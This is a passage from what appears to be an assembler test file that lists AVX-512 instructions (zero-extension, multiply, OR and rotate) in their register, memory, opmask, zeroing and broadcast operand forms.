vpmovzxbq zmm24{k5}{z}, [rbx]
vpmovzxbq zmm24{k5}{z}, [rbx+r11*8+256]
vpmovzxbq zmm24{k5}{z}, [rbx+r11*8-256]
vpmovzxdq xmm2, xmm0
vpmovzxdq xmm2, [rbx]
vpmovzxdq xmm2, [rbx+r11*8+256]
vpmovzxdq xmm2, [rbx+r11*8-256]
vpmovzxdq xmm2{k5}, xmm0
vpmovzxdq xmm2{k5}, [rbx]
vpmovzxdq xmm2{k5}, [rbx+r11*8+256]
vpmovzxdq xmm2{k5}, [rbx+r11*8-256]
vpmovzxdq xmm2{k5}{z}, xmm0
vpmovzxdq xmm2{k5}{z}, [rbx]
vpmovzxdq xmm2{k5}{z}, [rbx+r11*8+256]
vpmovzxdq xmm2{k5}{z}, [rbx+r11*8-256]
vpmovzxdq ymm16, xmm0
vpmovzxdq ymm16, [rbx]
vpmovzxdq ymm16, [rbx+r11*8+256]
vpmovzxdq ymm16, [rbx+r11*8-256]
vpmovzxdq ymm16{k5}, xmm0
vpmovzxdq ymm16{k5}, [rbx]
vpmovzxdq ymm16{k5}, [rbx+r11*8+256]
vpmovzxdq ymm16{k5}, [rbx+r11*8-256]
vpmovzxdq ymm16{k5}{z}, xmm0
vpmovzxdq ymm16{k5}{z}, [rbx]
vpmovzxdq ymm16{k5}{z}, [rbx+r11*8+256]
vpmovzxdq ymm16{k5}{z}, [rbx+r11*8-256]
vpmovzxdq zmm24, ymm15
vpmovzxdq zmm24, [rbx]
vpmovzxdq zmm24, [rbx+r11*8+256]
vpmovzxdq zmm24, [rbx+r11*8-256]
vpmovzxdq zmm24{k5}, ymm15
vpmovzxdq zmm24{k5}, [rbx]
vpmovzxdq zmm24{k5}, [rbx+r11*8+256]
vpmovzxdq zmm24{k5}, [rbx+r11*8-256]
vpmovzxdq zmm24{k5}{z}, ymm15
vpmovzxdq zmm24{k5}{z}, [rbx]
vpmovzxdq zmm24{k5}{z}, [rbx+r11*8+256]
vpmovzxdq zmm24{k5}{z}, [rbx+r11*8-256]
vpmovzxwd xmm2, xmm0
vpmovzxwd xmm2, [rbx]
vpmovzxwd xmm2, [rbx+r11*8+256]
vpmovzxwd xmm2, [rbx+r11*8-256]
vpmovzxwd xmm2{k5}, xmm0
vpmovzxwd xmm2{k5}, [rbx]
vpmovzxwd xmm2{k5}, [rbx+r11*8+256]
vpmovzxwd xmm2{k5}, [rbx+r11*8-256]
vpmovzxwd xmm2{k5}{z}, xmm0
vpmovzxwd xmm2{k5}{z}, [rbx]
vpmovzxwd xmm2{k5}{z}, [rbx+r11*8+256]
vpmovzxwd xmm2{k5}{z}, [rbx+r11*8-256]
vpmovzxwd ymm16, xmm0
vpmovzxwd ymm16, [rbx]
vpmovzxwd ymm16, [rbx+r11*8+256]
vpmovzxwd ymm16, [rbx+r11*8-256]
vpmovzxwd ymm16{k5}, xmm0
vpmovzxwd ymm16{k5}, [rbx]
vpmovzxwd ymm16{k5}, [rbx+r11*8+256]
vpmovzxwd ymm16{k5}, [rbx+r11*8-256]
vpmovzxwd ymm16{k5}{z}, xmm0
vpmovzxwd ymm16{k5}{z}, [rbx]
vpmovzxwd ymm16{k5}{z}, [rbx+r11*8+256]
vpmovzxwd ymm16{k5}{z}, [rbx+r11*8-256]
vpmovzxwd zmm24, ymm15
vpmovzxwd zmm24, [rbx]
vpmovzxwd zmm24, [rbx+r11*8+256]
vpmovzxwd zmm24, [rbx+r11*8-256]
vpmovzxwd zmm24{k5}, ymm15
vpmovzxwd zmm24{k5}, [rbx]
vpmovzxwd zmm24{k5}, [rbx+r11*8+256]
vpmovzxwd zmm24{k5}, [rbx+r11*8-256]
vpmovzxwd zmm24{k5}{z}, ymm15
vpmovzxwd zmm24{k5}{z}, [rbx]
vpmovzxwd zmm24{k5}{z}, [rbx+r11*8+256]
vpmovzxwd zmm24{k5}{z}, [rbx+r11*8-256]
vpmovzxwq xmm2, xmm0
vpmovzxwq xmm2, [rbx]
vpmovzxwq xmm2, [rbx+r11*8+256]
vpmovzxwq xmm2, [rbx+r11*8-256]
vpmovzxwq xmm2{k5}, xmm0
vpmovzxwq xmm2{k5}, [rbx]
vpmovzxwq xmm2{k5}, [rbx+r11*8+256]
vpmovzxwq xmm2{k5}, [rbx+r11*8-256]
vpmovzxwq xmm2{k5}{z}, xmm0
vpmovzxwq xmm2{k5}{z}, [rbx]
vpmovzxwq xmm2{k5}{z}, [rbx+r11*8+256]
vpmovzxwq xmm2{k5}{z}, [rbx+r11*8-256]
vpmovzxwq ymm16, xmm0
vpmovzxwq ymm16, [rbx]
vpmovzxwq ymm16, [rbx+r11*8+256]
vpmovzxwq ymm16, [rbx+r11*8-256]
vpmovzxwq ymm16{k5}, xmm0
vpmovzxwq ymm16{k5}, [rbx]
vpmovzxwq ymm16{k5}, [rbx+r11*8+256]
vpmovzxwq ymm16{k5}, [rbx+r11*8-256]
vpmovzxwq ymm16{k5}{z}, xmm0
vpmovzxwq ymm16{k5}{z}, [rbx]
vpmovzxwq ymm16{k5}{z}, [rbx+r11*8+256]
vpmovzxwq ymm16{k5}{z}, [rbx+r11*8-256]
vpmovzxwq zmm24, xmm0
vpmovzxwq zmm24, [rbx]
vpmovzxwq zmm24, [rbx+r11*8+256]
vpmovzxwq zmm24, [rbx+r11*8-256]
vpmovzxwq zmm24{k5}, xmm0
vpmovzxwq zmm24{k5}, [rbx]
vpmovzxwq zmm24{k5}, [rbx+r11*8+256]
vpmovzxwq zmm24{k5}, [rbx+r11*8-256]
vpmovzxwq zmm24{k5}{z}, xmm0
vpmovzxwq zmm24{k5}{z}, [rbx]
vpmovzxwq zmm24{k5}{z}, [rbx+r11*8+256]
vpmovzxwq zmm24{k5}{z}, [rbx+r11*8-256]
vpmuldq xmm2, xmm7, xmm0
vpmuldq xmm2, xmm7, [rbx]
vpmuldq xmm2, xmm7, [rbx]{1to2}
vpmuldq xmm2, xmm7, [rbx+r11*8+256]
vpmuldq xmm2, xmm7, [rbx+r11*8-256]
vpmuldq xmm2{k5}, xmm7, xmm0
vpmuldq xmm2{k5}, xmm7, [rbx]
vpmuldq xmm2{k5}, xmm7, [rbx]{1to2}
vpmuldq xmm2{k5}, xmm7, [rbx+r11*8+256]
vpmuldq xmm2{k5}, xmm7, [rbx+r11*8-256]
vpmuldq xmm2{k5}{z}, xmm7, xmm0
vpmuldq xmm2{k5}{z}, xmm7, [rbx]
vpmuldq xmm2{k5}{z}, xmm7, [rbx]{1to2}
vpmuldq xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vpmuldq xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vpmuldq ymm16, ymm13, ymm15
vpmuldq ymm16, ymm13, [rbx]
vpmuldq ymm16, ymm13, [rbx]{1to4}
vpmuldq ymm16, ymm13, [rbx+r11*8+256]
vpmuldq ymm16, ymm13, [rbx+r11*8-256]
vpmuldq ymm16{k5}, ymm13, ymm15
vpmuldq ymm16{k5}, ymm13, [rbx]
vpmuldq ymm16{k5}, ymm13, [rbx]{1to4}
vpmuldq ymm16{k5}, ymm13, [rbx+r11*8+256]
vpmuldq ymm16{k5}, ymm13, [rbx+r11*8-256]
vpmuldq ymm16{k5}{z}, ymm13, ymm15
vpmuldq ymm16{k5}{z}, ymm13, [rbx]
vpmuldq ymm16{k5}{z}, ymm13, [rbx]{1to4}
vpmuldq ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vpmuldq ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vpmuldq zmm24, zmm24, zmm31
vpmuldq zmm24, zmm24, [rbx]
vpmuldq zmm24, zmm24, [rbx]{1to8}
vpmuldq zmm24, zmm24, [rbx+r11*8+256]
vpmuldq zmm24, zmm24, [rbx+r11*8-256]
vpmuldq zmm24{k5}, zmm24, zmm31
vpmuldq zmm24{k5}, zmm24, [rbx]
vpmuldq zmm24{k5}, zmm24, [rbx]{1to8}
vpmuldq zmm24{k5}, zmm24, [rbx+r11*8+256]
vpmuldq zmm24{k5}, zmm24, [rbx+r11*8-256]
vpmuldq zmm24{k5}{z}, zmm24, zmm31
vpmuldq zmm24{k5}{z}, zmm24, [rbx]
vpmuldq zmm24{k5}{z}, zmm24, [rbx]{1to8}
vpmuldq zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vpmuldq zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vpmulld xmm2, xmm7, xmm0
vpmulld xmm2, xmm7, [rbx]
vpmulld xmm2, xmm7, [rbx]{1to4}
vpmulld xmm2, xmm7, [rbx+r11*8+256]
vpmulld xmm2, xmm7, [rbx+r11*8-256]
vpmulld xmm2{k5}, xmm7, xmm0
vpmulld xmm2{k5}, xmm7, [rbx]
vpmulld xmm2{k5}, xmm7, [rbx]{1to4}
vpmulld xmm2{k5}, xmm7, [rbx+r11*8+256]
vpmulld xmm2{k5}, xmm7, [rbx+r11*8-256]
vpmulld xmm2{k5}{z}, xmm7, xmm0
vpmulld xmm2{k5}{z}, xmm7, [rbx]
vpmulld xmm2{k5}{z}, xmm7, [rbx]{1to4}
vpmulld xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vpmulld xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vpmulld ymm16, ymm13, ymm15
vpmulld ymm16, ymm13, [rbx]
vpmulld ymm16, ymm13, [rbx]{1to8}
vpmulld ymm16, ymm13, [rbx+r11*8+256]
vpmulld ymm16, ymm13, [rbx+r11*8-256]
vpmulld ymm16{k5}, ymm13, ymm15
vpmulld ymm16{k5}, ymm13, [rbx]
vpmulld ymm16{k5}, ymm13, [rbx]{1to8}
vpmulld ymm16{k5}, ymm13, [rbx+r11*8+256]
vpmulld ymm16{k5}, ymm13, [rbx+r11*8-256]
vpmulld ymm16{k5}{z}, ymm13, ymm15
vpmulld ymm16{k5}{z}, ymm13, [rbx]
vpmulld ymm16{k5}{z}, ymm13, [rbx]{1to8}
vpmulld ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vpmulld ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vpmulld zmm24, zmm24, zmm31
vpmulld zmm24, zmm24, [rbx]
vpmulld zmm24, zmm24, [rbx]{1to16}
vpmulld zmm24, zmm24, [rbx+r11*8+256]
vpmulld zmm24, zmm24, [rbx+r11*8-256]
vpmulld zmm24{k5}, zmm24, zmm31
vpmulld zmm24{k5}, zmm24, [rbx]
vpmulld zmm24{k5}, zmm24, [rbx]{1to16}
vpmulld zmm24{k5}, zmm24, [rbx+r11*8+256]
vpmulld zmm24{k5}, zmm24, [rbx+r11*8-256]
vpmulld zmm24{k5}{z}, zmm24, zmm31
vpmulld zmm24{k5}{z}, zmm24, [rbx]
vpmulld zmm24{k5}{z}, zmm24, [rbx]{1to16}
vpmulld zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vpmulld zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vpmuludq xmm2, xmm7, xmm0
vpmuludq xmm2, xmm7, [rbx]
vpmuludq xmm2, xmm7, [rbx]{1to2}
vpmuludq xmm2, xmm7, [rbx+r11*8+256]
vpmuludq xmm2, xmm7, [rbx+r11*8-256]
vpmuludq xmm2{k5}, xmm7, xmm0
vpmuludq xmm2{k5}, xmm7, [rbx]
vpmuludq xmm2{k5}, xmm7, [rbx]{1to2}
vpmuludq xmm2{k5}, xmm7, [rbx+r11*8+256]
vpmuludq xmm2{k5}, xmm7, [rbx+r11*8-256]
vpmuludq xmm2{k5}{z}, xmm7, xmm0
vpmuludq xmm2{k5}{z}, xmm7, [rbx]
vpmuludq xmm2{k5}{z}, xmm7, [rbx]{1to2}
vpmuludq xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vpmuludq xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vpmuludq ymm16, ymm13, ymm15
vpmuludq ymm16, ymm13, [rbx]
vpmuludq ymm16, ymm13, [rbx]{1to4}
vpmuludq ymm16, ymm13, [rbx+r11*8+256]
vpmuludq ymm16, ymm13, [rbx+r11*8-256]
vpmuludq ymm16{k5}, ymm13, ymm15
vpmuludq ymm16{k5}, ymm13, [rbx]
vpmuludq ymm16{k5}, ymm13, [rbx]{1to4}
vpmuludq ymm16{k5}, ymm13, [rbx+r11*8+256]
vpmuludq ymm16{k5}, ymm13, [rbx+r11*8-256]
vpmuludq ymm16{k5}{z}, ymm13, ymm15
vpmuludq ymm16{k5}{z}, ymm13, [rbx]
vpmuludq ymm16{k5}{z}, ymm13, [rbx]{1to4}
vpmuludq ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vpmuludq ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vpmuludq zmm24, zmm24, zmm31
vpmuludq zmm24, zmm24, [rbx]
vpmuludq zmm24, zmm24, [rbx]{1to8}
vpmuludq zmm24, zmm24, [rbx+r11*8+256]
vpmuludq zmm24, zmm24, [rbx+r11*8-256]
vpmuludq zmm24{k5}, zmm24, zmm31
vpmuludq zmm24{k5}, zmm24, [rbx]
vpmuludq zmm24{k5}, zmm24, [rbx]{1to8}
vpmuludq zmm24{k5}, zmm24, [rbx+r11*8+256]
vpmuludq zmm24{k5}, zmm24, [rbx+r11*8-256]
vpmuludq zmm24{k5}{z}, zmm24, zmm31
vpmuludq zmm24{k5}{z}, zmm24, [rbx]
vpmuludq zmm24{k5}{z}, zmm24, [rbx]{1to8}
vpmuludq zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vpmuludq zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vpord xmm2, xmm7, xmm0
vpord xmm2, xmm7, [rbx]
vpord xmm2, xmm7, [rbx]{1to4}
vpord xmm2, xmm7, [rbx+r11*8+256]
vpord xmm2, xmm7, [rbx+r11*8-256]
vpord xmm2{k5}, xmm7, xmm0
vpord xmm2{k5}, xmm7, [rbx]
vpord xmm2{k5}, xmm7, [rbx]{1to4}
vpord xmm2{k5}, xmm7, [rbx+r11*8+256]
vpord xmm2{k5}, xmm7, [rbx+r11*8-256]
vpord xmm2{k5}{z}, xmm7, xmm0
vpord xmm2{k5}{z}, xmm7, [rbx]
vpord xmm2{k5}{z}, xmm7, [rbx]{1to4}
vpord xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vpord xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vpord ymm16, ymm13, ymm15
vpord ymm16, ymm13, [rbx]
vpord ymm16, ymm13, [rbx]{1to8}
vpord ymm16, ymm13, [rbx+r11*8+256]
vpord ymm16, ymm13, [rbx+r11*8-256]
vpord ymm16{k5}, ymm13, ymm15
vpord ymm16{k5}, ymm13, [rbx]
vpord ymm16{k5}, ymm13, [rbx]{1to8}
vpord ymm16{k5}, ymm13, [rbx+r11*8+256]
vpord ymm16{k5}, ymm13, [rbx+r11*8-256]
vpord ymm16{k5}{z}, ymm13, ymm15
vpord ymm16{k5}{z}, ymm13, [rbx]
vpord ymm16{k5}{z}, ymm13, [rbx]{1to8}
vpord ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vpord ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vpord zmm24, zmm24, zmm31
vpord zmm24, zmm24, [rbx]
vpord zmm24, zmm24, [rbx]{1to16}
vpord zmm24, zmm24, [rbx+r11*8+256]
vpord zmm24, zmm24, [rbx+r11*8-256]
vpord zmm24{k5}, zmm24, zmm31
vpord zmm24{k5}, zmm24, [rbx]
vpord zmm24{k5}, zmm24, [rbx]{1to16}
vpord zmm24{k5}, zmm24, [rbx+r11*8+256]
vpord zmm24{k5}, zmm24, [rbx+r11*8-256]
vpord zmm24{k5}{z}, zmm24, zmm31
vpord zmm24{k5}{z}, zmm24, [rbx]
vpord zmm24{k5}{z}, zmm24, [rbx]{1to16}
vpord zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vpord zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vporq xmm2, xmm7, xmm0
vporq xmm2, xmm7, [rbx]
vporq xmm2, xmm7, [rbx]{1to2}
vporq xmm2, xmm7, [rbx+r11*8+256]
vporq xmm2, xmm7, [rbx+r11*8-256]
vporq xmm2{k5}, xmm7, xmm0
vporq xmm2{k5}, xmm7, [rbx]
vporq xmm2{k5}, xmm7, [rbx]{1to2}
vporq xmm2{k5}, xmm7, [rbx+r11*8+256]
vporq xmm2{k5}, xmm7, [rbx+r11*8-256]
vporq xmm2{k5}{z}, xmm7, xmm0
vporq xmm2{k5}{z}, xmm7, [rbx]
vporq xmm2{k5}{z}, xmm7, [rbx]{1to2}
vporq xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vporq xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vporq ymm16, ymm13, ymm15
vporq ymm16, ymm13, [rbx]
vporq ymm16, ymm13, [rbx]{1to4}
vporq ymm16, ymm13, [rbx+r11*8+256]
vporq ymm16, ymm13, [rbx+r11*8-256]
vporq ymm16{k5}, ymm13, ymm15
vporq ymm16{k5}, ymm13, [rbx]
vporq ymm16{k5}, ymm13, [rbx]{1to4}
vporq ymm16{k5}, ymm13, [rbx+r11*8+256]
vporq ymm16{k5}, ymm13, [rbx+r11*8-256]
vporq ymm16{k5}{z}, ymm13, ymm15
vporq ymm16{k5}{z}, ymm13, [rbx]
vporq ymm16{k5}{z}, ymm13, [rbx]{1to4}
vporq ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vporq ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vporq zmm24, zmm24, zmm31
vporq zmm24, zmm24, [rbx]
vporq zmm24, zmm24, [rbx]{1to8}
vporq zmm24, zmm24, [rbx+r11*8+256]
vporq zmm24, zmm24, [rbx+r11*8-256]
vporq zmm24{k5}, zmm24, zmm31
vporq zmm24{k5}, zmm24, [rbx]
vporq zmm24{k5}, zmm24, [rbx]{1to8}
vporq zmm24{k5}, zmm24, [rbx+r11*8+256]
vporq zmm24{k5}, zmm24, [rbx+r11*8-256]
vporq zmm24{k5}{z}, zmm24, zmm31
vporq zmm24{k5}{z}, zmm24, [rbx]
vporq zmm24{k5}{z}, zmm24, [rbx]{1to8}
vporq zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vporq zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vprold xmm7, xmm0, 10
vprold xmm7, [rbx], 10
vprold xmm7, [rbx]{1to4}, 10
vprold xmm7, [rbx+r11*8+256], 10
vprold xmm7, [rbx+r11*8-256], 10
vprold ymm13, ymm15, 10
vprold ymm13, [rbx], 10
vprold ymm13, [rbx]{1to8}, 10
vprold ymm13, [rbx+r11*8+256], 10
vprold ymm13, [rbx+r11*8-256], 10
vprold zmm24, zmm31, 10
vprold zmm24, [rbx], 10
vprold zmm24, [rbx]{1to16}, 10
vprold zmm24, [rbx+r11*8+256], 10
vprold zmm24, [rbx+r11*8-256], 10
vprolq xmm7, xmm0, 10
vprolq xmm7, [rbx], 10
vprolq xmm7, [rbx]{1to2}, 10
vprolq xmm7, [rbx+r11*8+256], 10
vprolq xmm7, [rbx+r11*8-256], 10
vprolq ymm13, ymm15, 10
vprolq ymm13, [rbx], 10
vprolq ymm13, [rbx]{1to4}, 10
vprolq ymm13, [rbx+r11*8+256], 10
vprolq ymm13, [rbx+r11*8-256], 10
vprolq zmm24, zmm31, 10
vprolq zmm24, [rbx], 10
vprolq zmm24, [rbx]{1to8}, 10
vprolq zmm24, [rbx+r11*8+256], 10
vprolq zmm24, [rbx+r11*8-256], 10
vprolvd xmm2, xmm7, xmm0
vprolvd xmm2, xmm7, [rbx]
vprolvd xmm2, xmm7, [rbx]{1to4}
vprolvd xmm2, xmm7, [rbx+r11*8+256]
vprolvd xmm2, xmm7, [rbx+r11*8-256]
vprolvd xmm2{k5}, xmm7, xmm0
vprolvd xmm2{k5}, xmm7, [rbx]
vprolvd xmm2{k5}, xmm7, [rbx]{1to4}
vprolvd xmm2{k5}, xmm7, [rbx+r11*8+256]
vprolvd xmm2{k5}, xmm7, [rbx+r11*8-256]
vprolvd xmm2{k5}{z}, xmm7, xmm0
vprolvd xmm2{k5}{z}, xmm7, [rbx]
vprolvd xmm2{k5}{z}, xmm7, [rbx]{1to4}
vprolvd xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vprolvd xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vprolvd ymm16, ymm13, ymm15
vprolvd ymm16, ymm13, [rbx]
vprolvd ymm16, ymm13, [rbx]{1to8}
vprolvd ymm16, ymm13, [rbx+r11*8+256]
vprolvd ymm16, ymm13, [rbx+r11*8-256]
vprolvd ymm16{k5}, ymm13, ymm15
vprolvd ymm16{k5}, ymm13, [rbx]
vprolvd ymm16{k5}, ymm13, [rbx]{1to8}
vprolvd ymm16{k5}, ymm13, [rbx+r11*8+256]
vprolvd ymm16{k5}, ymm13, [rbx+r11*8-256]
vprolvd ymm16{k5}{z}, ymm13, ymm15
vprolvd ymm16{k5}{z}, ymm13, [rbx]
vprolvd ymm16{k5}{z}, ymm13, [rbx]{1to8}
vprolvd ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vprolvd ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vprolvd zmm24, zmm24, zmm31
vprolvd zmm24, zmm24, [rbx]
vprolvd zmm24, zmm24, [rbx]{1to16}
vprolvd zmm24, zmm24, [rbx+r11*8+256]
vprolvd zmm24, zmm24, [rbx+r11*8-256]
vprolvd zmm24{k5}, zmm24, zmm31
vprolvd zmm24{k5}, zmm24, [rbx]
vprolvd zmm24{k5}, zmm24, [rbx]{1to16}
vprolvd zmm24{k5}, zmm24, [rbx+r11*8+256]
vprolvd zmm24{k5}, zmm24, [rbx+r11*8-256]
vprolvd zmm24{k5}{z}, zmm24, zmm31
vprolvd zmm24{k5}{z}, zmm24, [rbx]
vprolvd zmm24{k5}{z}, zmm24, [rbx]{1to16}
vprolvd zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vprolvd zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vprolvq xmm2, xmm7, xmm0
vprolvq xmm2, xmm7, [rbx]
vprolvq xmm2, xmm7, [rbx]{1to2}
vprolvq xmm2, xmm7, [rbx+r11*8+256]
vprolvq xmm2, xmm7, [rbx+r11*8-256]
vprolvq xmm2{k5}, xmm7, xmm0
vprolvq xmm2{k5}, xmm7, [rbx]
vprolvq xmm2{k5}, xmm7, [rbx]{1to2}
vprolvq xmm2{k5}, xmm7, [rbx+r11*8+256]
vprolvq xmm2{k5}, xmm7, [rbx+r11*8-256]
vprolvq xmm2{k5}{z}, xmm7, xmm0
vprolvq xmm2{k5}{z}, xmm7, [rbx]
vprolvq xmm2{k5}{z}, xmm7, [rbx]{1to2}
vprolvq xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vprolvq xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vprolvq ymm16, ymm13, ymm15
vprolvq ymm16, ymm13, [rbx]
vprolvq ymm16, ymm13, [rbx]{1to4}
vprolvq ymm16, ymm13, [rbx+r11*8+256]
vprolvq ymm16, ymm13, [rbx+r11*8-256]
vprolvq ymm16{k5}, ymm13, ymm15
vprolvq ymm16{k5}, ymm13, [rbx]
vprolvq ymm16{k5}, ymm13, [rbx]{1to4}
vprolvq ymm16{k5}, ymm13, [rbx+r11*8+256]
vprolvq ymm16{k5}, ymm13, [rbx+r11*8-256]
vprolvq ymm16{k5}{z}, ymm13, ymm15
vprolvq ymm16{k5}{z}, ymm13, [rbx]
vprolvq ymm16{k5}{z}, ymm13, [rbx]{1to4}
vprolvq ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vprolvq ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vprolvq zmm24, zmm24, zmm31
vprolvq zmm24, zmm24, [rbx]
vprolvq zmm24, zmm24, [rbx]{1to8}
vprolvq zmm24, zmm24, [rbx+r11*8+256]
vprolvq zmm24, zmm24, [rbx+r11*8-256]
vprolvq zmm24{k5}, zmm24, zmm31
vprolvq zmm24{k5}, zmm24, [rbx]
vprolvq zmm24{k5}, zmm24, [rbx]{1to8}
vprolvq zmm24{k5}, zmm24, [rbx+r11*8+256]
vprolvq zmm24{k5}, zmm24, [rbx+r11*8-256]
vprolvq zmm24{k5}{z}, zmm24, zmm31
vprolvq zmm24{k5}{z}, zmm24, [rbx]
vprolvq zmm24{k5}{z}, zmm24, [rbx]{1to8}
vprolvq zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vprolvq zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vprord xmm7, xmm0, 10
vprord xmm7, [rbx], 10
vprord xmm7, [rbx]{1to4}, 10
vprord xmm7, [rbx+r11*8+256], 10
vprord xmm7, [rbx+r11*8-256], 10
vprord ymm13, ymm15, 10
vprord ymm13, [rbx], 10
vprord ymm13, [rbx]{1to8}, 10
vprord ymm13, [rbx+r11*8+256], 10
vprord ymm13, [rbx+r11*8-256], 10
vprord zmm24, zmm31, 10
vprord zmm24, [rbx], 10
vprord zmm24, [rbx]{1to16}, 10
vprord zmm24, [rbx+r11*8+256], 10
vprord zmm24, [rbx+r11*8-256], 10
vprorq xmm7, xmm0, 10
vprorq xmm7, [rbx], 10
vprorq xmm7, [rbx]{1to2}, 10
vprorq xmm7, [rbx+r11*8+256], 10
vprorq xmm7, [rbx+r11*8-256], 10
vprorq ymm13, ymm15, 10
vprorq ymm13, [rbx], 10
vprorq ymm13, [rbx]{1to4}, 10
vprorq ymm13, [rbx+r11*8+256], 10
vprorq ymm13, [rbx+r11*8-256], 10
vprorq zmm24, zmm31, 10
vprorq zmm24, [rbx], 10
vprorq zmm24, [rbx]{1to8}, 10
vprorq zmm24, [rbx+r11*8+256], 10
vprorq zmm24, [rbx+r11*8-256], 10
vprorvd xmm2, xmm7, xmm0
vprorvd xmm2, xmm7, [rbx]
vprorvd xmm2, xmm7, [rbx]{1to4}
vprorvd xmm2, xmm7, [rbx+r11*8+256]
vprorvd xmm2, xmm7, [rbx+r11*8-256]
vprorvd xmm2{k5}, xmm7, xmm0
vprorvd xmm2{k5}, xmm7, [rbx]
vprorvd xmm2{k5}, xmm7, [rbx]{1to4}
vprorvd xmm2{k5}, xmm7, [rbx+r11*8+256]
vprorvd xmm2{k5}, xmm7, [rbx+r11*8-256]
vprorvd xmm2{k5}{z}, xmm7, xmm0
vprorvd xmm2{k5}{z}, xmm7, [rbx]
vprorvd xmm2{k5}{z}, xmm7, [rbx]{1to4}
vprorvd xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vprorvd xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vprorvd ymm16, ymm13, ymm15
vprorvd ymm16, ymm13, [rbx]
vprorvd ymm16, ymm13, [rbx]{1to8}
vprorvd ymm16, ymm13, [rbx+r11*8+256]
vprorvd ymm16, ymm13, [rbx+r11*8-256]
vprorvd ymm16{k5}, ymm13, ymm15
vprorvd ymm16{k5}, ymm13, [rbx]
vprorvd ymm16{k5}, ymm13, [rbx]{1to8}
vprorvd ymm16{k5}, ymm13, [rbx+r11*8+256]
vprorvd ymm16{k5}, ymm13, [rbx+r11*8-256]
vprorvd ymm16{k5}{z}, ymm13, ymm15
vprorvd ymm16{k5}{z}, ymm13, [rbx]
vprorvd ymm16{k5}{z}, ymm13, [rbx]{1to8}
vprorvd ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vprorvd ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vprorvd zmm24, zmm24, zmm31
vprorvd zmm24, zmm24, [rbx]
vprorvd zmm24, zmm24, [rbx]{1to16}
vprorvd zmm24, zmm24, [rbx+r11*8+256]
vprorvd zmm24, zmm24, [rbx+r11*8-256]
vprorvd zmm24{k5}, zmm24, zmm31
vprorvd zmm24{k5}, zmm24, [rbx]
vprorvd zmm24{k5}, zmm24, [rbx]{1to16}
vprorvd zmm24{k5}, zmm24, [rbx+r11*8+256]
vprorvd zmm24{k5}, zmm24, [rbx+r11*8-256]
vprorvd zmm24{k5}{z}, zmm24, zmm31
vprorvd zmm24{k5}{z}, zmm24, [rbx]
vprorvd zmm24{k5}{z}, zmm24, [rbx]{1to16}
vprorvd zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vprorvd zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vprorvq xmm2, xmm7, xmm0
vprorvq xmm2, xmm7, [rbx]
vprorvq xmm2, xmm7, [rbx]{1to2}
vprorvq xmm2, xmm7, [rbx+r11*8+256]
vprorvq xmm2, xmm7, [rbx+r11*8-256]
vprorvq xmm2{k5}, xmm7, xmm0
vprorvq xmm2{k5}, xmm7, [rbx]
vprorvq xmm2{k5}, xmm7, [rbx]{1to2}
vprorvq xmm2{k5}, xmm7, [rbx+r11*8+256]
vprorvq xmm2{k5}, xmm7, [rbx+r11*8-256]
vprorvq xmm2{k5}{z}, xmm7, xmm0
vprorvq xmm2{k5}{z}, xmm7, [rbx]
vprorvq xmm2{k5}{z}, xmm7, [rbx]{1to2}
vprorvq xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vprorvq xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vprorvq ymm16, ymm13, ymm15
vprorvq ymm16, ymm13, [rbx]
vprorvq ymm16, ymm13, [rbx]{1to4}
vprorvq ymm16, ymm13, [rbx+r11*8+256]
vprorvq ymm16, ymm13, [rbx+r11*8-256]
vprorvq ymm16{k5}, ymm13, ymm15
vprorvq ymm16{k5}, ymm13, [rbx]
vprorvq ymm16{k5}, ymm13, [rbx]{1to4}
vprorvq ymm16{k5}, ymm13, [rbx+r11*8+256]
vprorvq ymm16{k5}, ymm13, [rbx+r11*8-256]
vprorvq ymm16{k5}{z}, ymm13, ymm15
vprorvq ymm16{k5}{z}, ymm13, [rbx]
vprorvq ymm16{k5}{z}, ymm13, [rbx]{1to4}
